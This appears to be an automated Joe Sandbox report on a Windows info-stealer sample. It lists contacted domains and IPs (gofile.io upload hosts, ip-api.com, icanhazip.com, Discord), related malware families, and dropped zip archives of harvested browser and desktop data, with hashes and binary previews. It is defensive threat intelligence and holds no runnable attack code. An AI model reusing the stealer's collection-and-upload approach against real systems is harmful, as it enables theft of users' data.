https://github.com/dotnet/runtime	f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://www.fontbureau.comSoI	f2wWJWlU2B.exe, 00000000.00000003.322184716.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comceo	f2wWJWlU2B.exe, 00000000.00000003.343815839.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344845082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342210123.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.343991641.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.344658405.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342044723.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341818227.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.342120023.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.341882605.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.comK	f2wWJWlU2B.exe, 00000000.00000003.311699164.0000000006532000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://apiv2.gofile.io	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000036D7000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	f2wWJWlU2B.exe, 00000000.00000003.327413426.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.326950685.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327237834.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327749903.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327051093.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.327541351.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	f2wWJWlU2B.exe, 00000000.00000003.313088925.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312936366.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312892902.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312854019.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312916245.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.312987080.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/dotnet-warnings/	f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://www.founder.com.cn/cnl	f2wWJWlU2B.exe, 00000000.00000003.315868158.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315736705.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comcom	f2wWJWlU2B.exe, 00000000.00000003.325336504.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324214060.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324371795.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325416378.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324469295.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324822776.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324661068.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324593526.0000000006552000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apiv2.gofile.io4Hp	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.comeda:I	f2wWJWlU2B.exe, 00000000.00000003.323441982.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323666524.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322972959.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323034183.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322561451.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323714676.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322826453.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322919648.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323170563.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323781262.0000000006554000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323940467.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323998251.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323347855.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322749208.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322498638.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323280576.0000000006552000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.322632101.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.323233327.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.founder.com.cn/cnu	f2wWJWlU2B.exe, 00000000.00000003.317099070.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316145848.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316848889.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317289115.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317669164.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315206338.0000000006551000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316699808.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316249183.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315868158.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315594020.000000000654E000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316924118.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316419582.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317007937.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316024028.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.315736705.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316641145.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317382886.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317155719.0000000006559000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317595512.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.317525126.0000000006558000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.316522874.0000000006558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/binaryformatter	f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://gofile.io/d/Eljz06)	f2wWJWlU2B.exe, 00000005.00000002.579311377.000000000365B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://icanhazip.com4HpD	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gofile.io/d/Eljz06	f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003472000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.comFfI	f2wWJWlU2B.exe, 00000000.00000003.325336504.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325111275.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324962358.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325165082.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324888137.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.324822776.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325276348.0000000006553000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.325069743.0000000006553000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	f2wWJWlU2B.exe, 00000000.00000003.314495432.000000000654F000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000002.404747823.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000000.00000003.314395972.0000000006551000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store11.gofile.io	f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
104.21.44.66	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false
162.159.130.233	discordapp.com	United States	13335	CLOUDFLARENETUS	false
104.18.114.97	icanhazip.com	United States	13335	CLOUDFLARENETUS	false
31.14.70.247	store11.gofile.io	Virgin Islands (BRITISH)	199483	LINKER-ASFR	false
51.38.43.18	gofile.io	France	16276	OVHFR	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	841050
Start date and time:	2023-04-04 16:40:29 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	f2wWJWlU2B.exe
Original Sample Name:	86aa79c05ad10f311c2c4d97ddc40d8fb048d25271d68387608aff6600bb5ac4.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@28/100@9/6
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 36 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:41:46	API Interceptor	1x Sleep call for process: f2wWJWlU2B.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	bLnF.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	bLnG.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	5rIuV7bm6g.exe	Get hash	malicious	Quasar, XWorm	Browse	ip-api.com/line/?fields=hosting
	Open_Statemen_Of__Account.PDF.jar	Get hash	malicious	STRRAT	Browse	ip-api.com/json/
	lIJyWSeEgG.exe	Get hash	malicious	Gurcu Stealer	Browse	ip-api.com/line?fields=query
	#Uacc4#Uc88c_#Uba85#Uc138#Uc11c_#Uc5f4#Uae30.PDF.jar	Get hash	malicious	STRRAT	Browse	ip-api.com/json/
	proof_of_payment.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	setup.exe	Get hash	malicious	AveMaria, RHADAMANTHYS	Browse	ip-api.com/json
	xBZPckUxW4B6.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	QUusQ7vSTg.exe	Get hash	malicious	Eternity Stealer	Browse	ip-api.com/json
	cpty9IJme4.exe	Get hash	malicious	Gurcu Stealer	Browse	ip-api.com/line?fields=query
	x822a5Je2oKa.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	z79t4br5CY.exe	Get hash	malicious	Gurcu Stealer	Browse	ip-api.com/line?fields=query
	2I2cp7Xk2F.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/?fields=query,status,countryCode,city,timezone
	Order_11599_ProSciT_Co.PDF.jar	Get hash	malicious	STRRAT	Browse	ip-api.com/json/
	proof_of_payment.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	Payment_proof.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	Order_11599_ProSciT_Co.PDF.jar	Get hash	malicious	STRRAT	Browse	ip-api.com/json/
	Open_Statemen_Of__Account.PDF.jar	Get hash	malicious	STRRAT	Browse	ip-api.com/json/
	HAWB#68564359.pdf.jar	Get hash	malicious	STRRAT	Browse	ip-api.com/json/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gofile.io	4Vp6Xc8SFr.exe	Get hash	malicious	Unknown	Browse	51.38.43.18
	y9iR4Unkvd.exe	Get hash	malicious	SmokeLoader	Browse	31.14.70.242
	XxogfMIH1M.exe	Get hash	malicious	SmokeLoader	Browse	31.14.70.242
	QmF9bcCME5.exe	Get hash	malicious	Creal Stealer	Browse	51.38.43.18
	Vanta Installer.exe	Get hash	malicious	Creal Stealer	Browse	51.178.66.33
	Neus Setup.exe	Get hash	malicious	Unknown	Browse	31.14.70.247
	Setup.exe	Get hash	malicious	Vidar, Xmrig	Browse	141.95.206.184
	322pVOVprx.exe	Get hash	malicious	Creal Stealer	Browse	51.38.43.18
	Creal.exe	Get hash	malicious	Creal Stealer	Browse	51.38.43.18
	XZdImqRrwQ.exe	Get hash	malicious	Unknown	Browse	31.14.70.243
	https://file10.gofile.io/download/f64c8d71-6572-43c5-94ad-c5b224d8fbe6/Lucia%20Javorcekova.zip	Get hash	malicious	Unknown	Browse	209.127.116.58
	RjcTKuW7es.exe	Get hash	malicious	DarkTortilla, Djvu, Fabookie, RHADAMANTHYS, RedLine, SmokeLoader	Browse	31.14.70.243
	file.exe	Get hash	malicious	Djvu, Fabookie, RHADAMANTHYS, RedLine, SmokeLoader	Browse	141.95.206.184
	file.exe	Get hash	malicious	Djvu, Fabookie, RHADAMANTHYS, RedLine, SmokeLoader	Browse	141.95.206.184

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TUT-ASUS	bLnF.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	bLnG.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	5rIuV7bm6g.exe	Get hash	malicious	Quasar, XWorm	Browse	208.95.112.1
	Open_Statemen_Of__Account.PDF.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	lIJyWSeEgG.exe	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	#Uacc4#Uc88c_#Uba85#Uc138#Uc11c_#Uc5f4#Uae30.PDF.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	proof_of_payment.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	setup.exe	Get hash	malicious	AveMaria, RHADAMANTHYS	Browse	208.95.112.1
	xBZPckUxW4B6.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	QUusQ7vSTg.exe	Get hash	malicious	Eternity Stealer	Browse	208.95.112.1
	cpty9IJme4.exe	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	x822a5Je2oKa.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	z79t4br5CY.exe	Get hash	malicious	Gurcu Stealer	Browse	208.95.112.1
	2I2cp7Xk2F.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	Order_11599_ProSciT_Co.PDF.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	proof_of_payment.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Payment_proof.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	Order_11599_ProSciT_Co.PDF.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	Open_Statemen_Of__Account.PDF.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1
	HAWB#68564359.pdf.jar	Get hash	malicious	STRRAT	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	YC3Ac9lra3.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	E3NrPUewcZ.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	Cpvgbsz3gu.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	IAENMAIL-A4-230403-0830-0004392.pdf.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	qPRYLvykl4.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	ffdh07v2cv.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	3noxWRJwMh.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	of4pojIP5C.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	file.exe	Get hash	malicious	Nymaim, RedLine, Socelars, Xmrig	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	SvbXpTXvdx.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	NVDuVkr4TL.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	529f38_6521c5ccbd8d46acb81ce3eb5cc3cc56.ps1	Get hash	malicious	XWorm	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	SOA_160-54714892.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	RFQ_28922000.04.04.2023.exe	Get hash	malicious	GuLoader	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	S1i8Pq2vaWaNikc.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	l5hqTN4reb.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	Crack File.exe	Get hash	malicious	RedLine, zgRAT	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	Cerere_de_ofert#U0103_(Universitatea_din_Oradea)_Eui894_-_CRO633.exe	Get hash	malicious	Remcos	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	Product_Specification.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18
	IMG_62100_41600pdf.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 162.159.130.233 31.14.70.247 51.38.43.18

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	175889
Entropy (8bit):	7.903588321828559
Encrypted:	false
SSDEEP:	3072:s/h8OvEGE7RIkLTE1jT6F196p/u3zzFWNI474cipGsY4V4d:SCEE09T679Wu3zzFunRik4Va
MD5:	BAFFDB3B972502D8121B291EC8B216F6
SHA1:	78BA7C0D2F7E8F5A7245C2CB4A68B65FF4EFCD06
SHA-256:	68BACE43F6844DC4A7E448EB82D5F09F987F15505CCCC323DD83222F426A0EE5
SHA-512:	773E5D3D64DC866D5D070CC930E88C5C1DDEF0B97739178C18D20C2E0F57C9CDE85158869BBA71311D276A7DE202642EB5E5FCDDB78CE892EC709F1D39E2D26D
Malicious:	false
Preview:	PK........B..V..............$.Browsers/.. .............Og......Og......Og..PK........B..V..............$.Browsers/Google/.. .............Og......Og......Og..PK........F..V..............$.Directories/.. ............Og.....Og......Og..PK........D..V!.<4i..._.....$.Directories/Desktop.txt.. .........Cx..Og..Cx..Og..Cx..Og..z\..%.OhN-.X..$=.n...8h.+".58.. ....7...$.>..w..~Z...y..M".2K..H.p..4...s.=....u.k...9...... .P.q\|5......}..o.R.i!si....'..i.eY.z.ce...".D...~.....7]E..bS...C.m.w........\.h.....c=7...Tz.6 .?.i..3.L..c...6.\|x......yf/.........)u..>..~......!...&.q..,..P..h~x.......[".....\.5..w....+.6<.8Q.Ch.O4JE..S.XZCW..;.\.v.!.>.e......]ge..#..K..v...y.R.8?PK........E..V.).e.........$.Directories/Documents.txt.. .........,.w.Og..,.w.Og..P O.Og..I...o.o$B.H.f.%.)..=.........^..%.)..n.+..iL..)..'Z....Q....f<Gw.1.F..Ao5..WEQ..Z9..$..y."+9.X.......Xa%..]uK..=..T...V\sc..=?.zka.g...P. ;.)..Oo.....E,......S.+hA.I.M.......4.......(t..G].....AeY....2..h...'F..@

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US.zip (copy)

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	175889
Entropy (8bit):	7.903588321828559
Encrypted:	false
SSDEEP:	3072:s/h8OvEGE7RIkLTE1jT6F196p/u3zzFWNI474cipGsY4V4d:SCEE09T679Wu3zzFunRik4Va
MD5:	BAFFDB3B972502D8121B291EC8B216F6
SHA1:	78BA7C0D2F7E8F5A7245C2CB4A68B65FF4EFCD06
SHA-256:	68BACE43F6844DC4A7E448EB82D5F09F987F15505CCCC323DD83222F426A0EE5
SHA-512:	773E5D3D64DC866D5D070CC930E88C5C1DDEF0B97739178C18D20C2E0F57C9CDE85158869BBA71311D276A7DE202642EB5E5FCDDB78CE892EC709F1D39E2D26D
Malicious:	false
Preview:	PK........B..V..............$.Browsers/.. .............Og......Og......Og..PK........B..V..............$.Browsers/Google/.. .............Og......Og......Og..PK........F..V..............$.Directories/.. ............Og.....Og......Og..PK........D..V!.<4i..._.....$.Directories/Desktop.txt.. .........Cx..Og..Cx..Og..Cx..Og..z\..%.OhN-.X..$=.n...8h.+".58.. ....7...$.>..w..~Z...y..M".2K..H.p..4...s.=....u.k...9...... .P.q\|5......}..o.R.i!si....'..i.eY.z.ce...".D...~.....7]E..bS...C.m.w........\.h.....c=7...Tz.6 .?.i..3.L..c...6.\|x......yf/.........)u..>..~......!...&.q..,..P..h~x.......[".....\.5..w....+.6<.8Q.Ch.O4JE..S.XZCW..;.\.v.!.>.e......]ge..#..K..v...y.R.8?PK........E..V.).e.........$.Directories/Documents.txt.. .........,.w.Og..,.w.Og..P O.Og..I...o.o$B.H.f.%.)..=.........^..%.)..n.+..iL..)..'Z....Q....f<Gw.1.F..Ao5..WEQ..Z9..$..y."+9.X.......Xa%..]uK..=..T...V\sc..=?.zka.g...P. ;.)..Oo.....E,......S.+hA.I.M.......4.......(t..G].....AeY....2..h...'F..@

C:\Users\user\AppData\Local\8f3278e29a4688277876a1b04d7b91cf\user@284992_en-US\Directories\Desktop.txt

Download File

Process:	C:\Users\user\Desktop\f2wWJWlU2B.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	863
Entropy (8bit):	5.313727624552232
Encrypted:	false
SSDEEP:	24:MPMbu04VRsM058mDXgNLdsqWsHn3xoOKDkBL882p0in:M+pDeEQRKqrHBoVmvg
MD5:	B1F00656ADDC0770C738812D20080FC9
SHA1:	F0B6E65845E5C6C6CA9C2AC83106B59E39F6EB69
SHA-256:	C4FFD999D1A852C3FFBB9C82DBFDC43EDDB5F29777A1F5BB76F8FDB434162EC8
SHA-512:	59ECC41F53C3E48679032A11BCFC52608F186B33414C62711CBDB12AEF96E28ED88440C08EB53C26330525493EA57CF771BF12C7E4C1EC80ACBDD06D48D7D79D
Malicious:	false
